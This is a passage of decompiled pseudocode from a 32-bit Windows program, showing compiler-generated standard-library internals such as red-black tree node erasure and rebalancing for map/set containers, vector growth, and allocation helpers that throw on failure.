    memmove((void *)v6, *(const void **)a1, 2 * ((*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 1));
    v5 = (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 1;
    if ( *(_DWORD *)a1 )
      operator delete(*(_DWORD *)a1);
    result = v4 + 2 * a2;
    *(_DWORD *)a1 = v4;
    *(_DWORD *)(a1 + 8) = result;
    *(_DWORD *)(a1 + 4) = v4 + 2 * v5;
  }
  return result;
}

//----- (00418C40) --------------------------------------------------------
int __userpurge sub_418C40<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5)
{
  int v5; // eax@1
  int v6; // ecx@1
  int result; // eax@3
  int v8; // edx@5
  int v9; // eax@6
  int j; // eax@7
  int v11; // ecx@7
  int i; // eax@10
  int v13; // ecx@3
  int v14; // [sp+0h] [bp-4h]@1

  v14 = a1;
  v5 = *(_DWORD *)(a3 + 4);
  v6 = a4;
  if ( a4 != *(_DWORD *)v5 || a5 != v5 )
  {
    for ( ; a4 != a5; v6 = a4 )
    {
      v8 = v6;
      if ( !*(_BYTE *)(v6 + 197) )
      {
        v9 = *(_DWORD *)(v6 + 8);
        if ( *(_BYTE *)(v9 + 197) )
        {
          for ( i = *(_DWORD *)(v6 + 4); !*(_BYTE *)(i + 197); i = *(_DWORD *)(i + 4) )
          {
            if ( v6 != *(_DWORD *)(i + 8) )
              break;
            v6 = i;
            a4 = i;
          }
          a4 = i;
        }
        else
        {
          v11 = *(_DWORD *)(v6 + 8);
          for ( j = *(_DWORD *)v9; !*(_BYTE *)(j + 197); j = *(_DWORD *)j )
            v11 = j;
          a4 = v11;
        }
      }
      sub_4191A0(a3, (int)&v14, v8);
    }
    *(_DWORD *)a2 = v6;
    result = a2;
  }
  else
  {
    sub_419A20(a3, *(_DWORD *)(v5 + 4));
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 4) = *(_DWORD *)(a3 + 4);
    **(_DWORD **)(a3 + 4) = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 8) = *(_DWORD *)(a3 + 4);
    v13 = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(a3 + 8) = 0;
    *(_DWORD *)a2 = *(_DWORD *)v13;
    result = a2;
  }
  return result;
}

//----- (00418D10) --------------------------------------------------------
int __userpurge sub_418D10<eax>(int a1<eax>, int a2)
{
  int result; // eax@1
  int v3; // edi@1
  int v4; // ecx@2
  unsigned int v5; // ebx@2
  int v6; // edx@4
  unsigned int v7; // eax@6
  unsigned int v8; // esi@6
  char v9; // sf@10
  int v10; // eax@10
  char v11; // zf@1
  int v12; // [sp+8h] [bp-4h]@1
  unsigned int v13; // [sp+4h] [bp-8h]@2

  result = *(_DWORD *)(a1 + 4);
  v3 = *(_DWORD *)(result + 4);
  v11 = *(_BYTE *)(v3 + 197) == 0;
  v12 = result;
  if ( v11 )
  {
    v4 = a2;
    v5 = *(_DWORD *)(a2 + 16);
    v13 = *(_DWORD *)(a2 + 20);
    while ( 1 )
    {
      v6 = v3 + 12;
      if ( v13 >= 0x10 )
        v4 = *(_DWORD *)v4;
      v8 = *(_DWORD *)(v3 + 28);
      v7 = *(_DWORD *)(v3 + 28);
      if ( v8 >= v5 )
        v7 = v5;
      if ( *(_DWORD *)(v3 + 32) >= 0x10u )
        v6 = *(_DWORD *)v6;
      v10 = sub_401F10(v7, v6, v4);
      v9 = v10 < 0;
      if ( !v10 )
      {
        if ( v8 < v5 )
          goto LABEL_14;
        LOBYTE(v10) = v8 != v5;
        v9 = v10 < 0;
      }
      if ( v9 )
      {
LABEL_14:
        v3 = *(_DWORD *)(v3 + 8);
        goto LABEL_16;
      }
      v12 = v3;
      v3 = *(_DWORD *)v3;
LABEL_16:
      if ( *(_BYTE *)(v3 + 197) )
        return v12;
      v4 = a2;
    }
  }
  return result;
}

//----- (00418DA0) --------------------------------------------------------
int __userpurge sub_418DA0<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5)
{
  int v5; // eax@1
  int v6; // ecx@1
  int result; // eax@3
  int v8; // edx@5
  int v9; // eax@6
  int j; // eax@7
  int v11; // ecx@7
  int i; // eax@10
  int v13; // ecx@3
  int v14; // [sp+0h] [bp-4h]@1

  v14 = a1;
  v5 = *(_DWORD *)(a3 + 4);
  v6 = a4;
  if ( a4 != *(_DWORD *)v5 || a5 != v5 )
  {
    for ( ; a4 != a5; v6 = a4 )
    {
      v8 = v6;
      if ( !*(_BYTE *)(v6 + 1209) )
      {
        v9 = *(_DWORD *)(v6 + 8);
        if ( *(_BYTE *)(v9 + 1209) )
        {
          for ( i = *(_DWORD *)(v6 + 4); !*(_BYTE *)(i + 1209); i = *(_DWORD *)(i + 4) )
          {
            if ( v6 != *(_DWORD *)(i + 8) )
              break;
            v6 = i;
            a4 = i;
          }
          a4 = i;
        }
        else
        {
          v11 = *(_DWORD *)(v6 + 8);
          for ( j = *(_DWORD *)v9; !*(_BYTE *)(j + 1209); j = *(_DWORD *)j )
            v11 = j;
          a4 = v11;
        }
      }
      sub_4194B0(a3, (int)&v14, v8);
    }
    *(_DWORD *)a2 = v6;
    result = a2;
  }
  else
  {
    sub_419BA0(a3, *(_DWORD *)(v5 + 4));
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 4) = *(_DWORD *)(a3 + 4);
    **(_DWORD **)(a3 + 4) = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 8) = *(_DWORD *)(a3 + 4);
    v13 = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(a3 + 8) = 0;
    *(_DWORD *)a2 = *(_DWORD *)v13;
    result = a2;
  }
  return result;
}

//----- (00418E70) --------------------------------------------------------
int __userpurge sub_418E70<eax>(int a1<eax>, int a2<esi>, int a3, int a4)
{
  int v4; // eax@1
  int v5; // ecx@1
  int v6; // edi@1
  int result; // eax@3
  int v8; // edx@5
  int v9; // eax@6
  int j; // eax@7
  int v11; // ecx@7
  int i; // eax@10
  char v13; // [sp+4h] [bp-4h]@14

  v5 = a3;
  v6 = a1;
  v4 = *(_DWORD *)(a1 + 4);
  if ( a3 != *(_DWORD *)v4 || a4 != v4 )
  {
    for ( ; a3 != a4; v5 = a3 )
    {
      v8 = v5;
      if ( !*(_BYTE *)(v5 + 15) )
      {
        v9 = *(_DWORD *)(v5 + 8);
        if ( *(_BYTE *)(v9 + 15) )
        {
          for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 4) )
          {
            if ( v5 != *(_DWORD *)(i + 8) )
              break;
            v5 = i;
            a3 = i;
          }
          a3 = i;
        }
        else
        {
          v11 = *(_DWORD *)(v5 + 8);
          for ( j = *(_DWORD *)v9; !*(_BYTE *)(j + 15); j = *(_DWORD *)j )
            v11 = j;
          a3 = v11;
        }
      }
      sub_4197C0(v6, (int)&v13, v8);
    }
    result = a2;
    *(_DWORD *)a2 = v5;
  }
  else
  {
    sub_417ED0(v6);
    result = a2;
    *(_DWORD *)a2 = **(_DWORD **)(v6 + 4);
  }
  return result;
}

//----- (00418F10) --------------------------------------------------------
int __userpurge sub_418F10<eax>(int a1<edi>, int a2)
{
  int ST00_4_0; // ST00_4@0
  int v4; // esi@1
  int v5; // [sp+18h] [bp-4h]@1

  v4 = a2;
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  *(_BYTE *)a2 = 0;
  sub_401600(a2, -1, 0, ST00_4_0);
  v5 = 0;
  *(_DWORD *)(v4 + 44) = 0;
  *(_DWORD *)(v4 + 48) = 15;
  *(_BYTE *)(v4 + 28) = 0;
  sub_401600(v4 + 28, -1, 0, a1 + 28);
  *(_DWORD *)(v4 + 76) = 15;
  *(_DWORD *)(v4 + 72) = 0;
  *(_BYTE *)(v4 + 56) = 0;
  sub_401600(v4 + 56, -1, 0, a1 + 56);
  *(_DWORD *)(v4 + 104) = 15;
  *(_DWORD *)(v4 + 100) = 0;
  *(_BYTE *)(v4 + 84) = 0;
  sub_401600(v4 + 84, -1, 0, a1 + 84);
  LOBYTE(v5) = 3;
  *(_DWORD *)(v4 + 132) = 15;
  *(_DWORD *)(v4 + 128) = 0;
  *(_BYTE *)(v4 + 112) = 0;
  sub_401600(v4 + 112, -1, 0, a1 + 112);
  *(_DWORD *)(v4 + 140) = *(_DWORD *)(a1 + 140);
  *(_BYTE *)(v4 + 144) = *(_BYTE *)(a1 + 144);
  *(_DWORD *)(v4 + 148) = *(_DWORD *)(a1 + 148);
  *(_WORD *)(v4 + 152) = *(_WORD *)(a1 + 152);
  return v4;
}

//----- (00419020) --------------------------------------------------------
int __fastcall sub_419020(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0xB21642 || (result = operator new(368 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (00419080) --------------------------------------------------------
int __fastcall sub_419080(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0x7FFFFFF || (result = operator new(32 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (004190E0) --------------------------------------------------------
int __fastcall sub_4190E0(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0x3FFFFFFF || (result = operator new(4 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (00419140) --------------------------------------------------------
int __fastcall sub_419140(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0x7FFFFFFF || (result = operator new(2 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (004191A0) --------------------------------------------------------
int __stdcall sub_4191A0(int a1, int a2, int a3)
{
  int v3; // ebx@1
  int v4; // edi@4
  int v5; // eax@7
  int v6; // esi@8
  int v7; // eax@10
  int v8; // edx@10
  int v9; // eax@17
  int v10; // ecx@29
  int v11; // ecx@31
  int v12; // ecx@38
  int v13; // eax@61
  int result; // eax@63
  int v15; // eax@23
  char v16; // cl@34

  v3 = a3;
  if ( *(_BYTE *)(a3 + 197) )
    std___Xout_of_range("invalid map/set<T> iterator");
  sub_419E00((int)&a3);
  if ( *(_BYTE *)(*(_DWORD *)v3 + 197) )
  {
    v4 = *(_DWORD *)(v3 + 8);
LABEL_8:
    v6 = *(_DWORD *)(v3 + 4);
    if ( !*(_BYTE *)(v4 + 197) )
      *(_DWORD *)(v4 + 4) = v6;
    v8 = a1;
    v7 = *(_DWORD *)(a1 + 4);
    if ( *(_DWORD *)(v7 + 4) == v3 )
    {
      *(_DWORD *)(v7 + 4) = v4;
    }
    else
    {
      if ( *(_DWORD *)v6 == v3 )
        *(_DWORD *)v6 = v4;
      else
        *(_DWORD *)(v6 + 8) = v4;
    }
    if ( **(_DWORD **)(v8 + 4) == v3 )
    {
      if ( *(_BYTE *)(v4 + 197) )
      {
        v9 = v6;
      }
      else
      {
        v9 = sub_419B80(v4);
        v8 = a1;
      }
      **(_DWORD **)(v8 + 4) = v9;
    }
    if ( *(_DWORD *)(*(_DWORD *)(v8 + 4) + 8) == v3 )
    {
      if ( *(_BYTE *)(v4 + 197) )
      {
        *(_DWORD *)(*(_DWORD *)(v8 + 4) + 8) = v6;
      }
      else
      {
        v15 = sub_419B60(v4);
        v8 = a1;
        *(_DWORD *)(*(_DWORD *)(a1 + 4) + 8) = v15;
      }
    }
    goto LABEL_35;
  }
  if ( *(_BYTE *)(*(_DWORD *)(v3 + 8) + 197) )
  {
    v4 = *(_DWORD *)v3;
    goto LABEL_8;
  }
  v5 = a3;
  v4 = *(_DWORD *)(a3 + 8);
  if ( a3 == v3 )
    goto LABEL_8;
  *(_DWORD *)(*(_DWORD *)v3 + 4) = a3;
  *(_DWORD *)v5 = *(_DWORD *)v3;
  if ( v5 == *(_DWORD *)(v3 + 8) )
  {
    v6 = v5;
  }
  else
  {
    v6 = *(_DWORD *)(v5 + 4);
    if ( !*(_BYTE *)(v4 + 197) )
      *(_DWORD *)(v4 + 4) = v6;
    *(_DWORD *)v6 = v4;
    *(_DWORD *)(v5 + 8) = *(_DWORD *)(v3 + 8);
    *(_DWORD *)(*(_DWORD *)(v3 + 8) + 4) = v5;
  }
  v10 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)(v10 + 4) == v3 )
  {
    *(_DWORD *)(v10 + 4) = v5;
  }
  else
  {
    v11 = *(_DWORD *)(v3 + 4);
    if ( *(_DWORD *)v11 == v3 )
      *(_DWORD *)v11 = v5;
    else
      *(_DWORD *)(v11 + 8) = v5;
  }
  *(_DWORD *)(v5 + 4) = *(_DWORD *)(v3 + 4);
  v16 = *(_BYTE *)(v5 + 196);
  *(_BYTE *)(v5 + 196) = *(_BYTE *)(v3 + 196);
  v8 = a1;
  *(_BYTE *)(v3 + 196) = v16;
LABEL_35:
  if ( *(_BYTE *)(v3 + 196) == 1 )
  {
    for ( ; v4 != *(_DWORD *)(*(_DWORD *)(v8 + 4) + 4); v6 = *(_DWORD *)(v6 + 4) )
    {
      if ( *(_BYTE *)(v4 + 196) != 1 )
        break;
      v12 = *(_DWORD *)v6;
      if ( v4 == *(_DWORD *)v6 )
      {
        v12 = *(_DWORD *)(v6 + 8);
        if ( !*(_BYTE *)(v12 + 196) )
        {
          *(_BYTE *)(v12 + 196) = 1;
          *(_BYTE *)(v6 + 196) = 0;
          sub_419AA0(v6, v8);
          v12 = *(_DWORD *)(v6 + 8);
          v8 = a1;
        }
        if ( *(_BYTE *)(v12 + 197) )
          goto LABEL_53;
        if ( *(_BYTE *)(*(_DWORD *)v12 + 196) != 1 || *(_BYTE *)(*(_DWORD *)(v12 + 8) + 196) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)(v12 + 8) + 196) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)v12 + 196) = 1;
            *(_BYTE *)(v12 + 196) = 0;
            sub_419B00(v12, v8);
            v12 = *(_DWORD *)(v6 + 8);
            v8 = a1;
          }
          *(_BYTE *)(v12 + 196) = *(_BYTE *)(v6 + 196);
          *(_BYTE *)(v6 + 196) = 1;
          *(_BYTE *)(*(_DWORD *)(v12 + 8) + 196) = 1;
          sub_419AA0(v6, v8);
          break;
        }
      }
      else
      {
        if ( !*(_BYTE *)(v12 + 196) )
        {
          *(_BYTE *)(v12 + 196) = 1;
          *(_BYTE *)(v6 + 196) = 0;
          sub_419B00(v6, v8);
          v12 = *(_DWORD *)v6;
          v8 = a1;
        }
        if ( *(_BYTE *)(v12 + 197) )
          goto LABEL_53;
        if ( *(_BYTE *)(*(_DWORD *)(v12 + 8) + 196) != 1 || *(_BYTE *)(*(_DWORD *)v12 + 196) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)v12 + 196) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)(v12 + 8) + 196) = 1;
            *(_BYTE *)(v12 + 196) = 0;
            sub_419AA0(v12, v8);
            v12 = *(_DWORD *)v6;
            v8 = a1;
          }
          *(_BYTE *)(v12 + 196) = *(_BYTE *)(v6 + 196);
          *(_BYTE *)(v6 + 196) = 1;
          *(_BYTE *)(*(_DWORD *)v12 + 196) = 1;
          sub_419B00(v6, v8);
          break;
        }
      }
      *(_BYTE *)(v12 + 196) = 0;
LABEL_53:
      v4 = v6;
    }
    *(_BYTE *)(v4 + 196) = 1;
  }
  sub_4085A0(v3 + 40);
  if ( *(_DWORD *)(v3 + 32) >= 0x10u )
    operator delete(*(_DWORD *)(v3 + 12));
  *(_DWORD *)(v3 + 32) = 15;
  *(_DWORD *)(v3 + 28) = 0;
  *(_BYTE *)(v3 + 12) = 0;
  operator delete(v3);
  v13 = *(_DWORD *)(a1 + 8);
  if ( v13 )
    *(_DWORD *)(a1 + 8) = v13 - 1;
  result = a2;
  *(_DWORD *)a2 = a3;
  return result;
}

//----- (004194B0) --------------------------------------------------------
int __stdcall sub_4194B0(int a1, int a2, int a3)
{
  int v3; // ebx@1
  int v4; // edi@4
  int v5; // eax@7
  int v6; // esi@8
  int v7; // eax@10
  int v8; // edx@10
  int v9; // eax@17
  int v10; // ecx@29
  int v11; // ecx@31
  int v12; // ecx@38
  int v13; // eax@61
  int result; // eax@63
  int v15; // eax@23
  char v16; // cl@34

  v3 = a3;
  if ( *(_BYTE *)(a3 + 1209) )
    std___Xout_of_range("invalid map/set<T> iterator");
  sub_419E60((int)&a3);
  if ( *(_BYTE *)(*(_DWORD *)v3 + 1209) )
  {
    v4 = *(_DWORD *)(v3 + 8);
LABEL_8:
    v6 = *(_DWORD *)(v3 + 4);
    if ( !*(_BYTE *)(v4 + 1209) )
      *(_DWORD *)(v4 + 4) = v6;
    v8 = a1;
    v7 = *(_DWORD *)(a1 + 4);
    if ( *(_DWORD *)(v7 + 4) == v3 )
    {
      *(_DWORD *)(v7 + 4) = v4;
    }
    else
    {
      if ( *(_DWORD *)v6 == v3 )
        *(_DWORD *)v6 = v4;
      else
        *(_DWORD *)(v6 + 8) = v4;
    }
    if ( **(_DWORD **)(v8 + 4) == v3 )
    {
      if ( *(_BYTE *)(v4 + 1209) )
      {
        v9 = v6;
      }
      else
      {
        v9 = sub_419D00(v4);
        v8 = a1;
      }
      **(_DWORD **)(v8 + 4) = v9;
    }
    if ( *(_DWORD *)(*(_DWORD *)(v8 + 4) + 8) == v3 )
    {
      if ( *(_BYTE *)(v4 + 1209) )
      {
        *(_DWORD *)(*(_DWORD *)(v8 + 4) + 8) = v6;
      }
      else
      {
        v15 = sub_419CE0(v4);
        v8 = a1;
        *(_DWORD *)(*(_DWORD *)(a1 + 4) + 8) = v15;
      }
    }
    goto LABEL_35;
  }
  if ( *(_BYTE *)(*(_DWORD *)(v3 + 8) + 1209) )
  {
    v4 = *(_DWORD *)v3;
    goto LABEL_8;
  }
  v5 = a3;
  v4 = *(_DWORD *)(a3 + 8);
  if ( a3 == v3 )
    goto LABEL_8;
  *(_DWORD *)(*(_DWORD *)v3 + 4) = a3;
  *(_DWORD *)v5 = *(_DWORD *)v3;
  if ( v5 == *(_DWORD *)(v3 + 8) )
  {
    v6 = v5;
  }
  else
  {
    v6 = *(_DWORD *)(v5 + 4);
    if ( !*(_BYTE *)(v4 + 1209) )
      *(_DWORD *)(v4 + 4) = v6;
    *(_DWORD *)v6 = v4;
    *(_DWORD *)(v5 + 8) = *(_DWORD *)(v3 + 8);
    *(_DWORD *)(*(_DWORD *)(v3 + 8) + 4) = v5;
  }
  v10 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)(v10 + 4) == v3 )
  {
    *(_DWORD *)(v10 + 4) = v5;
  }
  else
  {
    v11 = *(_DWORD *)(v3 + 4);
    if ( *(_DWORD *)v11 == v3 )
      *(_DWORD *)v11 = v5;
    else
      *(_DWORD *)(v11 + 8) = v5;
  }
  *(_DWORD *)(v5 + 4) = *(_DWORD *)(v3 + 4);
  v16 = *(_BYTE *)(v5 + 1208);
  *(_BYTE *)(v5 + 1208) = *(_BYTE *)(v3 + 1208);
  v8 = a1;
  *(_BYTE *)(v3 + 1208) = v16;
LABEL_35:
  if ( *(_BYTE *)(v3 + 1208) == 1 )
  {
    for ( ; v4 != *(_DWORD *)(*(_DWORD *)(v8 + 4) + 4); v6 = *(_DWORD *)(v6 + 4) )
    {
      if ( *(_BYTE *)(v4 + 1208) != 1 )
        break;
      v12 = *(_DWORD *)v6;
      if ( v4 == *(_DWORD *)v6 )
      {
        v12 = *(_DWORD *)(v6 + 8);
        if ( !*(_BYTE *)(v12 + 1208) )
        {
          *(_BYTE *)(v12 + 1208) = 1;
          *(_BYTE *)(v6 + 1208) = 0;
          sub_419C20(v6, v8);
          v12 = *(_DWORD *)(v6 + 8);
          v8 = a1;
        }
        if ( *(_BYTE *)(v12 + 1209) )
          goto LABEL_53;
        if ( *(_BYTE *)(*(_DWORD *)v12 + 1208) != 1 || *(_BYTE *)(*(_DWORD *)(v12 + 8) + 1208) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)(v12 + 8) + 1208) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)v12 + 1208) = 1;
            *(_BYTE *)(v12 + 1208) = 0;
            sub_419C80(v12, v8);
            v12 = *(_DWORD *)(v6 + 8);
            v8 = a1;
          }
          *(_BYTE *)(v12 + 1208) = *(_BYTE *)(v6 + 1208);
          *(_BYTE *)(v6 + 1208) = 1;
          *(_BYTE *)(*(_DWORD *)(v12 + 8) + 1208) = 1;
          sub_419C20(v6, v8);
          break;
        }
      }
      else
      {
        if ( !*(_BYTE *)(v12 + 1208) )
        {
          *(_BYTE *)(v12 + 1208) = 1;
          *(_BYTE *)(v6 + 1208) = 0;
          sub_419C80(v6, v8);
          v12 = *(_DWORD *)v6;
          v8 = a1;
        }
        if ( *(_BYTE *)(v12 + 1209) )
          goto LABEL_53;
        if ( *(_BYTE *)(*(_DWORD *)(v12 + 8) + 1208) != 1 || *(_BYTE *)(*(_DWORD *)v12 + 1208) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)v12 + 1208) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)(v12 + 8) + 1208) = 1;
            *(_BYTE *)(v12 + 1208) = 0;
            sub_419C20(v12, v8);
            v12 = *(_DWORD *)v6;
            v8 = a1;
          }
          *(_BYTE *)(v12 + 1208) = *(_BYTE *)(v6 + 1208);
          *(_BYTE *)(v6 + 1208) = 1;
          *(_BYTE *)(*(_DWORD *)v12 + 1208) = 1;
          sub_419C80(v6, v8);
          break;
        }
      }
      *(_BYTE *)(v12 + 1208) = 0;
LABEL_53:
      v4 = v6;
    }
    *(_BYTE *)(v4 + 1208) = 1;
  }
  sub_417F50(v3 + 40);
  if ( *(_DWORD *)(v3 + 32) >= 0x10u )
    operator delete(*(_DWORD *)(v3 + 12));
  *(_DWORD *)(v3 + 32) = 15;
  *(_DWORD *)(v3 + 28) = 0;
  *(_BYTE *)(v3 + 12) = 0;
  operator delete(v3);
  v13 = *(_DWORD *)(a1 + 8);
  if ( v13 )
    *(_DWORD *)(a1 + 8) = v13 - 1;
  result = a2;
  *(_DWORD *)a2 = a3;
  return result;
}

//----- (004197C0) --------------------------------------------------------
int __stdcall sub_4197C0(int a1, int a2, int a3)
{
  int v3; // eax@1
  int v4; // ebx@3
  int v5; // edi@4
  int v6; // eax@7
  int v7; // esi@8
  int v8; // eax@10
  int v9; // edx@10
  int i; // ecx@17
  int v11; // eax@18
  int v12; // ecx@21
  int v13; // ecx@30
  int v14; // ecx@32
  int v15; // ecx@39
  int v16; // eax@60
  int result; // eax@62
  int v18; // eax@24
  char v19; // cl@35
  int v20; // [sp+4h] [bp-4h]@3
  int v21; // [sp+0h] [bp-8h]@21

  v3 = a3;
  if ( *(_BYTE *)(a3 + 15) )
    v3 = std___Xout_of_range("invalid map/set<T> iterator");
  v4 = v3;
  v20 = v3;
  sub_4188A0((int)&a3);
  if ( *(_BYTE *)(*(_DWORD *)v4 + 15) )
  {
    v5 = *(_DWORD *)(v4 + 8);
LABEL_8:
    v7 = *(_DWORD *)(v4 + 4);
    if ( !*(_BYTE *)(v5 + 15) )
      *(_DWORD *)(v5 + 4) = v7;
    v9 = a1;
    v8 = *(_DWORD *)(a1 + 4);
    if ( *(_DWORD *)(v8 + 4) == v4 )
    {
      *(_DWORD *)(v8 + 4) = v5;
    }
    else
    {
      if ( *(_DWORD *)v7 == v4 )
        *(_DWORD *)v7 = v5;
      else
        *(_DWORD *)(v7 + 8) = v5;
    }
    if ( **(_DWORD **)(v9 + 4) == v4 )
    {
      if ( *(_BYTE *)(v5 + 15) )
      {
        i = v7;
      }
      else
      {
        v11 = *(_DWORD *)v5;
        for ( i = v5; !*(_BYTE *)(v11 + 15); v11 = *(_DWORD *)v11 )
          i = v11;
      }
      **(_DWORD **)(v9 + 4) = i;
    }
    v12 = *(_DWORD *)(v9 + 4);
    v21 = *(_DWORD *)(v9 + 4);
    if ( *(_DWORD *)(v12 + 8) == v4 )
    {
      if ( *(_BYTE *)(v5 + 15) )
      {
        *(_DWORD *)(v12 + 8) = v7;
      }
      else
      {
        v18 = sub_419DE0(v5);
        v9 = a1;
        *(_DWORD *)(v21 + 8) = v18;
      }
    }
    goto LABEL_36;
  }
  if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 15) )
  {
    v5 = *(_DWORD *)v4;
    goto LABEL_8;
  }
  v6 = a3;
  v5 = *(_DWORD *)(a3 + 8);
  if ( a3 == v4 )
    goto LABEL_8;
  *(_DWORD *)(*(_DWORD *)v4 + 4) = a3;
  *(_DWORD *)v6 = *(_DWORD *)v4;
  if ( v6 == *(_DWORD *)(v4 + 8) )
  {
    v7 = v6;
  }
  else
  {
    v7 = *(_DWORD *)(v6 + 4);
    if ( !*(_BYTE *)(v5 + 15) )
      *(_DWORD *)(v5 + 4) = v7;
    *(_DWORD *)v7 = v5;
    *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8);
    *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6;
  }
  v13 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)(v13 + 4) == v4 )
  {
    *(_DWORD *)(v13 + 4) = v6;
  }
  else
  {
    v14 = *(_DWORD *)(v4 + 4);
    if ( *(_DWORD *)v14 == v4 )
      *(_DWORD *)v14 = v6;
    else
      *(_DWORD *)(v14 + 8) = v6;
  }
  *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4);
  v19 = *(_BYTE *)(v6 + 14);
  *(_BYTE *)(v6 + 14) = *(_BYTE *)(v4 + 14);
  v9 = a1;
  *(_BYTE *)(v4 + 14) = v19;
LABEL_36:
  if ( *(_BYTE *)(v20 + 14) == 1 )
  {
    for ( ; v5 != *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4); v7 = *(_DWORD *)(v7 + 4) )
    {
      if ( *(_BYTE *)(v5 + 14) != 1 )
        break;
      v15 = *(_DWORD *)v7;
      if ( v5 == *(_DWORD *)v7 )
      {
        v15 = *(_DWORD *)(v7 + 8);
        if ( !*(_BYTE *)(v15 + 14) )
        {
          *(_BYTE *)(v15 + 14) = 1;
          *(_BYTE *)(v7 + 14) = 0;
          sub_419D20(v7, v9);
          v15 = *(_DWORD *)(v7 + 8);
          v9 = a1;
        }
        if ( *(_BYTE *)(v15 + 15) )
          goto LABEL_54;
        if ( *(_BYTE *)(*(_DWORD *)v15 + 14) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)v15 + 14) = 1;
            *(_BYTE *)(v15 + 14) = 0;
            sub_419D80(v15, v9);
            v15 = *(_DWORD *)(v7 + 8);
            v9 = a1;
          }
          *(_BYTE *)(v15 + 14) = *(_BYTE *)(v7 + 14);
          *(_BYTE *)(v7 + 14) = 1;
          *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) = 1;
          sub_419D20(v7, v9);
          break;
        }
      }
      else
      {
        if ( !*(_BYTE *)(v15 + 14) )
        {
          *(_BYTE *)(v15 + 14) = 1;
          *(_BYTE *)(v7 + 14) = 0;
          sub_419D80(v7, v9);
          v15 = *(_DWORD *)v7;
          v9 = a1;
        }
        if ( *(_BYTE *)(v15 + 15) )
          goto LABEL_54;
        if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 14) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)v15 + 14) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) = 1;
            *(_BYTE *)(v15 + 14) = 0;
            sub_419D20(v15, v9);
            v15 = *(_DWORD *)v7;
            v9 = a1;
          }
          *(_BYTE *)(v15 + 14) = *(_BYTE *)(v7 + 14);
          *(_BYTE *)(v7 + 14) = 1;
          *(_BYTE *)(*(_DWORD *)v15 + 14) = 1;
          sub_419D80(v7, v9);
          break;
        }
      }
      *(_BYTE *)(v15 + 14) = 0;
LABEL_54:
      v5 = v7;
    }
    *(_BYTE *)(v5 + 14) = 1;
  }
  operator delete(v20);
  v16 = *(_DWORD *)(a1 + 8);
  if ( v16 )
    *(_DWORD *)(a1 + 8) = v16 - 1;
  result = a2;
  *(_DWORD *)a2 = a3;
  return result;
}

//----- (00419A20) --------------------------------------------------------
int __thiscall sub_419A20(int this, int a2)
{
  int v2; // ebx@1
  int v3; // edi@1
  int result; // eax@4
  char v5; // zf@1
  int v6; // [sp+8h] [bp-4h]@1

  v3 = a2;
  v5 = *(_BYTE *)(a2 + 197) == 0;
  v6 = this;
  v2 = a2;
  if ( v5 )
  {
    do
    {
      sub_419A20(*(_DWORD *)(v2 + 8));
      v2 = *(_DWORD *)v2;
      sub_4085A0(v3 + 40);
